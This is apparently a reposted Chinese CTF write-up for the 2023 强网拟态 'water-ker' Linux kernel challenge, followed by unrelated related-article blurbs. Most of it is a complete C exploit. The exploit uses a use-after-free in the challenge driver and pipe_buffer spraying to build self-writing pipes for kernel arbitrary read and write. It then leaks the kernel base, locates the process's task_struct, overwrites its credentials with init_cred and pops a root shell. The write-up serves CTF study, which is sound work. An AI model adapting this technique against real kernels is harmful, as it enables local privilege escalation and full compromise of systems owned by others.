[pipe-自写管道] 强网拟态2023-water-ker

程序分析

保护当然都开了, 题目给了一次增加, 释放, 修改一字节堆块的能力, 这里释放堆块后没有将其指针置空从而导致了 UAF.

漏洞利用

这里的堆块大小为 512 字节并是 SLAB_ACCOUNT, 所以可以直接利用管道去构造自写管道从而构造任意读写系统, 详细见大佬博客:【CTF.0x08】D^ 3CTF2023 d3kcache 出题手记 - arttnba3's blog

exp 如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>


size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred;

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;

    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;

    return vmemmap_base + page_count * 0x40;
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

struct pipe_buf_operations {
        int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
        void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
        int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
        int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

int fd;
struct argg {
        char* buf;
};

void add(char* buf)
{
        struct argg arg = { .buf = buf };
        ioctl(fd, 0x20, &arg);
}

void dele(char* buf)
{
        struct argg arg = { .buf = buf };
        ioctl(fd, 0x30, &arg);
}

void edit(char* buf)
{
        struct argg arg = { .buf = buf };
        ioctl(fd, 0x50, &arg);
}

#define PIPE_SPRAY_NUM 200
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192
int orig_idx;
int victim_idx;
int pipe_fd[PIPE_SPRAY_NUM][2];
struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
int self_4th_pipe_idx = -1;
int self_2nd_pipe_idx = -1;
int self_3rd_pipe_idx = -1;
char temp_zero_buf[0x1000] = {'\0'};

void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0x1ff8;
    evil_2nd_buf.page = page_to_read;

    write(pipe_fd[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));

    write(pipe_fd[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_idx][1],
          temp_zero_buf,
          TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

    write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    read(pipe_fd[self_2nd_pipe_idx][0], dst, 0xfff);
}

void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
    evil_2nd_buf.page = page_to_write;
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0;

    write(pipe_fd[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));

    write(pipe_fd[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_idx][1],
          temp_zero_buf,
          TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

    write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    write(pipe_fd[self_2nd_pipe_idx][1], src, len);
}


int main(int argc, char** argv, char** envp)
{

        save_status();
        bind_core(0);

        fd = open("/dev/water", O_RDWR);
        if (fd < 0) err_exit("open /dev/water");

        char * buf = malloc(0x3000);
        char target[16] = { 0 };
        size_t target_addr;
        memset(buf, 'A', 0x1000);
        strcpy(target, "XiaozaYaPwner");
        if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0)
        {
                err_exit("cannot set name");
        }

        add(buf);
        dele(buf);

        puts("[+] Spary pipe_buffer");
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                if (pipe(pipe_fd[i]) < 0)
                {
                        printf("[X] failed to alloc %d pipe\n", i);
                        err_exit("Alloc Pipe");
                }
        }

        puts("[+] Shrink pipe_buffer to 512B");
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0)
                {
                        printf("[X] failed to fcntl %d pipe\n", i);
                        err_exit("Fcntl Pipe");
                }
        }


        puts("[+] Wirte TAG to pipe");
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                write(pipe_fd[i][1], "XiaozaYa", 8);
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], "AAAAAAAA", 8);
                write(pipe_fd[i][1], "BBBBBBBB", 8);
        }

        buf[0] = '\x00';
        edit(buf);

        puts("[+] Read pipe to check victim pipe idx");
        orig_idx = -1;
        victim_idx = -1;
        for (int  i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                char tag[0x10];
                int nr;
                memset(tag, 0, sizeof(tag));
                read(pipe_fd[i][0], tag, 8);
                read(pipe_fd[i][0], &nr, sizeof(int));
                if (!strcmp(tag, "XiaozaYa") && nr != i)
                {
                        orig_idx = nr;
                        victim_idx = i;
                        printf("\033[32m\033[1m[+] Found victim: \033[0m%d "
                        "\033[32m\033[1m, orig: \033[0m%d\n\n",
                       victim_idx, orig_idx);
                        //break;
                }
        }

        if (orig_idx == -1 || victim_idx == -1)
        {
                err_exit("UAF ERROR");
        }

        int snd_orig_idx = -1;
        int snd_victim_idx = -1;
        struct pipe_buffer info_pipe_buf;
        puts("[+] Snd pipe");
        size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
        memset(buf, 0, sizeof(buf));
        write(pipe_fd[victim_idx][1], buf, SND_PIPE_BUF_SZ * 2 - 24 - 3 * sizeof(int));
        puts("[+]  free original pipe");
        close(pipe_fd[orig_idx][0]);
        close(pipe_fd[orig_idx][1]);
        puts("[+]  fcntl to set the pipe_buffer on victim page");
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                if (i == orig_idx || i == victim_idx)
                {
                        continue;
                }

                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0)
                {
                        printf("[X] failed to fcntl %d pipe at snd pipe\n", i);
                        err_exit("Fcntl Pipe");

                }
        }

        read(pipe_fd[victim_idx][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
        read(pipe_fd[victim_idx][0], &info_pipe_buf, sizeof(info_pipe_buf));
        printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n"
        "\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n",
        info_pipe_buf.page, info_pipe_buf.ops);

        if ((size_t)info_pipe_buf.page < 0xffff000000000000 || (size_t)info_pipe_buf.ops < 0xffffffff81000000)
        {
                err_exit("FAILED to re-hit victim page!");
        }

        puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m");
        printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page);

        puts("[+]  construct a second-level uaf pipe page");
        info_pipe_buf.page = (struct page *)((size_t)info_pipe_buf.page + 0x40);
        write(pipe_fd[victim_idx][1], &info_pipe_buf, sizeof(info_pipe_buf));
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                //char tag[0x10] = { 0 };
                int nr;
                if (i == orig_idx || i == victim_idx)
                {
                        continue;
                }

                //read(pipe_fd[i][0], tag, 8);
                read(pipe_fd[i][0], &nr, sizeof(int));
        //      printf("idx: %#x\n", nr);
                //if (!strcmp(tag, "XiaozaYa") && i != nr)
                if (i < PIPE_SPRAY_NUM && i != nr)

                {
                        snd_orig_idx = nr;
                        snd_victim_idx = i;
                        printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d "
                        "\033[32m\033[1m, orig: \033[0m%d\n",
                        snd_victim_idx, snd_orig_idx);
                        break;
                }
        }

        if (snd_orig_idx == -1 || snd_victim_idx == -1)
        {
                err_exit("FAILED to corrupt second-level pipe_buffer!");
        }


        size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
        struct pipe_buffer evil_pipe_buf;
        struct page *page_ptr;

        memset(buf, 0, sizeof(buf));

        write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - 24 - 3 * sizeof(int));

        puts("[*] free second-level original pipe...");
        close(pipe_fd[snd_orig_idx][0]);
        close(pipe_fd[snd_orig_idx][1]);

        puts("[*] fcntl() to set the pipe_buffer on second-level victim page...");
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx)
            {
                continue;
            }

            if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0)
            {
                printf("[x] failed to resize %d pipe!\n", i);
                err_exit("FAILED to re-alloc pipe_buffer!");
            }
        }

        puts("[*] hijacking the 2nd pipe_buffer on page to itself...");
        evil_pipe_buf.page = info_pipe_buf.page;
        evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.ops = info_pipe_buf.ops;
        evil_pipe_buf.flags = info_pipe_buf.flags;
        evil_pipe_buf.private = info_pipe_buf.private;

        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx)
            {
                continue;
            }

            read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
            if (page_ptr == evil_pipe_buf.page)
            {
                self_2nd_pipe_idx = i;
                printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n",
                       self_2nd_pipe_idx);
                break;
            }
        }

        if (self_2nd_pipe_idx == -1)
        {
            err_exit("FAILED to build a self-writing pipe!");
        }

        puts("[*] hijacking the 3rd pipe_buffer on page to itself...");
        evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

        write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx)
            {
                continue;
            }

            read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
            if (page_ptr == evil_pipe_buf.page)
            {
                self_3rd_pipe_idx = i;
                printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
                       "%d\n",
                       self_3rd_pipe_idx);
                break;
            }
        }

        if (self_3rd_pipe_idx == -1)
        {
            err_exit("FAILED to build a self-writing pipe!");
        }

        puts("[*] hijacking the 4th pipe_buffer on page to itself...");
        evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

        write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx || i == self_3rd_pipe_idx)
            {
                continue;
            }

            read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
            if (page_ptr == evil_pipe_buf.page)
            {
                self_4th_pipe_idx = i;
                printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
                       "%d\n",
                       self_4th_pipe_idx);
                break;
            }
        }

        if (self_4th_pipe_idx == -1)
        {
            err_exit("FAILED to build a self-writing pipe!");
        }


        puts("[*] Setting up kernel arbitrary read & write...");
        memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
        memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
        memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));

        evil_2nd_buf.offset = 0;
        evil_2nd_buf.len = 0xff0;

        evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
        evil_3rd_buf.len = 0;
        write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

        evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
        evil_4th_buf.len = 0;


        vmemmap_base = (size_t)info_pipe_buf.page & 0xfffffffff0000000;
        for (;;)
        {
            arbitrary_read_by_pipe((struct page *)(vmemmap_base + 157 * 0x40), buf);

            if (*(uint64_t *)buf > 0xffffffff81000000 && ((*(uint64_t *)buf & 0xfff) == 0x0e0))
            {
                kernel_base = *(uint64_t *)buf - 0x0e0;
                kernel_offset = kernel_base - 0xffffffff81000000;
                printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n"
                       "\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n",
                       kernel_base, kernel_offset);
                break;
            }

            vmemmap_base -= 0x10000000;
        }
        printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);

        uint64_t parent_task, current_task;
        puts("[*] Seeking task_struct in memory...");

        uint64_t *comm_addr = 0;
        uint64_t *point_buf = malloc(0x1000);

        for (int i = 0; 1; i++)
        {
            arbitrary_read_by_pipe((struct page *)(vmemmap_base + i * 0x40), point_buf);

            comm_addr = memmem(point_buf, 0xf00, target, 0xd);
            if (comm_addr && (comm_addr[-2] > 0xffff888000000000) && (comm_addr[-3] > 0xffff888000000000) && (comm_addr[-57] > 0xffff888000000000) && (comm_addr[-56] > 0xffff888000)
            {

                parent_task = comm_addr[-60];

                current_task = comm_addr[-54] - 2528;
                page_offset_base = (comm_addr[-54] & 0xfffffffffffff000) - i * 0x1000;
                page_offset_base &= 0xfffffffff0000000;

                printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n",
                       (struct page *)(vmemmap_base + i * 0x40));
                printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",
                       page_offset_base);
                printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m"
                       "0x%lx\n\n",
                       current_task);
                break;
            }
        }

        size_t *tsk_buf;
        uint64_t init_task = 0xffffffff83011200+kernel_offset;
        uint64_t init_cred = 0xffffffff8308c620+kernel_offset;
        uint64_t init_nsproxy = 0xffffffff8308c140+kernel_offset;

        printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
        printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
        printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n", init_nsproxy);

        puts("[*] Escalating ROOT privilege now...");

        size_t current_task_page = direct_map_addr_to_page_addr(current_task);

        arbitrary_read_by_pipe((struct page *)current_task_page, buf);
        arbitrary_read_by_pipe((struct page *)(current_task_page + 0x40), &buf[512 * 8]);

        tsk_buf = (size_t *)((size_t)buf + (current_task & 0xfff));
        tsk_buf[367] = init_cred;
        tsk_buf[368] = init_cred;
        tsk_buf[381] = init_nsproxy;

        arbitrary_write_by_pipe((struct page *)current_task_page, buf, 0xff0);
        arbitrary_write_by_pipe((struct page *)(current_task_page + 0x40),
                                    &buf[512 * 8], 0xff0);

        puts("[+] Done.\n");
        puts("[*] checking for root...");

        get_root_shell();

        puts("[+] END!");
        return 0;
}

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/135422.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Spring学习笔记——AOP(4)

Spring学习笔记——AOP&#xff08;4&#xff09; 一、学习AOP1.1 AOP的概述1.2 AOP思想实现方案1.3、模拟AOP的基础代码1.4、AOP的相关概念 二、基于xml配置AOP2.1 AOP基础入门2.2、XML方式AOP配置详解2.3、XML方式AOP原理剖析 三、注解式开发AOP3.1 注解式开发AOP入门3.2 AOP…

SpringBoot原理

1配置优先级&#xff1a; SpringBoot项目当中支持的三类配置文件&#xff1a; application.properties application.yml application.yaml配置文件优先级排名&#xff08;从高到低&#xff09;&#xff1a; 1. properties配置文件 2. yml配置文件 3. yaml配置文件在SpringBoot…

Java常用设计模式(23种)

文章目录 介绍 设计模式的六大原则 一、创建型模式 1、单例模式&#xff08;Singleton Pattern&#xff09; 1&#xff09;饿汉式 2&#xff09;懒汉式&#xff0c;双检锁 3&#xff09;静态内部类 4&#xff09;枚举 2、原型模式&#xff08;Prototype Pattern&#xff09…

2023年第十六届山东省职业院校技能大赛中职组“网络安全”赛项规程

第十六届山东省职业院校技能大赛 中职组“网络安全”赛项规程 一、赛项名称 赛项名称&#xff1a;网络安全 英文名称&#xff1a;Cyber Security 赛项组别&#xff1a;中职组 专业大类&#xff1a;电子与信息大类 二、竞赛目的 网络空间已经成为陆、海、空、天之后的第…

【Servlet】 四

本文主要介绍了cookie和session的区别和联系 . 一.cookie 1.cookie是浏览器在本地持久化存储数据的一种机制 cookie的数据从哪里来 服务器返回给浏览器的 cookie的数据什么样 cookie中是键值对结构的数据,并且这里的键值对都是程序员自定义的 cookie有什么作用 cookie可以在…

通过easyexcel导出数据到excel表格

这篇文章简单介绍一下怎么通过easyexcel做数据的导出&#xff0c;使用之前easyui构建的歌曲列表crud应用&#xff0c;添加一个导出按钮&#xff0c;点击的时候直接连接后端接口地址&#xff0c;在后端的接口完成数据的导出功能。 前端页面完整代码 let editingId; let request…

Matplotlib绘图一网打尽【持续更新ing】

2 绘制扇形图 绘制一个展示男女乘客比例的扇形图 得出男女的具体数字 sex_per df["Sex"].value_counts() sex_per # 把画图的包导入进来 import matplotlib.pyplot as plt# 这种绘图方式主要用于有多个子图以及复杂的图形布局的时候。fig,ax plt.subplots()# pl…

Ubuntu虚拟机设置静态IP

目录 1 确定网络信息2 配置网络文件3 更新配置4 验证 网上很多方案都是 sudo vi /etc/network/interfaces 但是在Ubuntu20.04中我的目录i已经没有这个文件夹了&#xff0c;好像就算自己新建通过这种方式也是不能达到静态ip的目的。整理了下面的这种方式&#xff0c;实测最终有效…

第25章_索引优化与查询优化

文章目录 1. 数据准备2.索引失效案例2.1全值匹配2.2最佳左前缀法则2.3主键插入顺序2.4 计算、函数导致索引失效2.5 类型转换导致索引失效2.6 范围条件右边的列索引失效2.7 不等于(! 或者<>)索引失效2.8 is null可以使用索引&#xff0c;is not null无法使用索引2.9 like以…

多孔对跨孔电磁波CT联合反演

多孔对跨孔电磁波CT联合反演 前言 针对单一孔对跨孔电磁波CT反演数据拼接剖面不连续&#xff0c;相邻钻孔间吸收系数差异大的问题&#xff0c;采用多孔对跨孔电磁波CT联合反演。 1、多孔对数据拼接 将所有单一剖面连接为多孔剖面&#xff0c;以‘东大北大’的原则编号。 …

Linux基础开发工具之分布式版本控制系统Git

文章目录 1.Git是什么&#xff1f;1.1介绍1.2影响世界的大牛1.3English Words 2.Git常用指令2.1Git三板斧2.2解决冲突2.3黑名单文件2.4删除本地远端 1.Git是什么&#xff1f; 1.1介绍 史上最浅显易懂的Git教程&#xff01; git是一个软件 gitee/github是一个网站但是他们的主…

微信小程序入门及开发准备,申请测试号以及小程序开发的两种方式,目录结构说明

目录 1. 介绍 1.1 优点 1.2 开发方式 2. 开发准备 2.1 申请 2.2 申请测试号 2.2 小程序开发的两种方式 2.3 开发工具 3. 开发一个demo 3.1 创建项目 3.2 配置 3.3 常用框架 3.3 目录结构说明 3.4 新建组件 1. 介绍 1.1 优点 是一种不需要下载安装即可使用的应用…

Linux-Docker的基础命令和部署code-server

1.安装docker 1.安装需要的安装包 yum install -y yum-utils2.设置镜像仓库 yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo3.安装docker yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin do…

PyQt制作【小红书图片抓取】神器

文章目录 &#x1f4e2;闲言碎语&#x1f43e;窗口设计&#x1f43e;功能设计&#x1f4da;资源领取 &#x1f4e2;闲言碎语 最近写一个系统&#xff0c;被一个Bug折腾了两天&#xff0c;至今还未解决。由于解决Bug弄得我有点心力憔悴&#xff0c;于是想着写其他小项目玩玩&am…

Python 使用OS模块调用 cmd

嗨喽&#xff0c;大家好呀~这里是爱看美女的茜茜呐 在os模块中提供了两种调用 cmd 的方法&#xff0c;os.popen() 和 os.system() os.system(cmd) 是在执行command命令时需要打开一个终端&#xff0c;并且无法保存command命令的执行结果。 os.popen(cmd,mode) 打开一个与comma…

JuCheap开发的微信小程序商城(NetCore商城)

一、目的 最近工作需要&#xff0c;在学习微信小程序的开发&#xff0c;用周末空闲时间开发了一个微信小程序商城。 二、功能 2.1 管理后台 管理后台是基于JuCheap开发的&#xff0c;使用Net6Vue3ElementPlus开发&#xff0c;具体功能包含如下&#xff1a; 2.1.1 店铺模块…

环形链表解析(c语言)c语言版本!自我解析(看了必会)

目录 1.判断一个表是否是环形链表&#xff01; 代码如下 解析如下 2.快指针的步数和慢指针的步数有什么影响&#xff08;无图解析&#xff09; 3.怎么找到环形链表的入环点 代码如下 解析如下 1.判断一个表是否是环形链表&#xff01; 代码如下 bool hasCycle(struct L…

[ARM入门]ARM模式及其切换、异常

ARM技术特征 ARM处理器有如下特点 体积小、功耗低、成本低、性能高支持Thumb&#xff08;16位&#xff09;/ARM&#xff08;32位&#xff09;双指令集&#xff0c;能很好地兼容8位/16位器件大量使用寄存器&#xff0c;指令执行速度更快大多数数据操作都在寄存器中完成寻址方式…

【Java】Java8 Function 和 Consumer 接口的使用场景

文章目录 前言1. Function 示例2. Function 介绍3. Consumer 示例4. Consumer 介绍5. Function 和 Consumer 接口的使用场景后记 前言 在 《精通Java8》一书中有讲过 Java8的函数式接口可以简化设计模式的实施&#xff0c;这里记录一下Function 和 Consumer 的使用场景。 1. …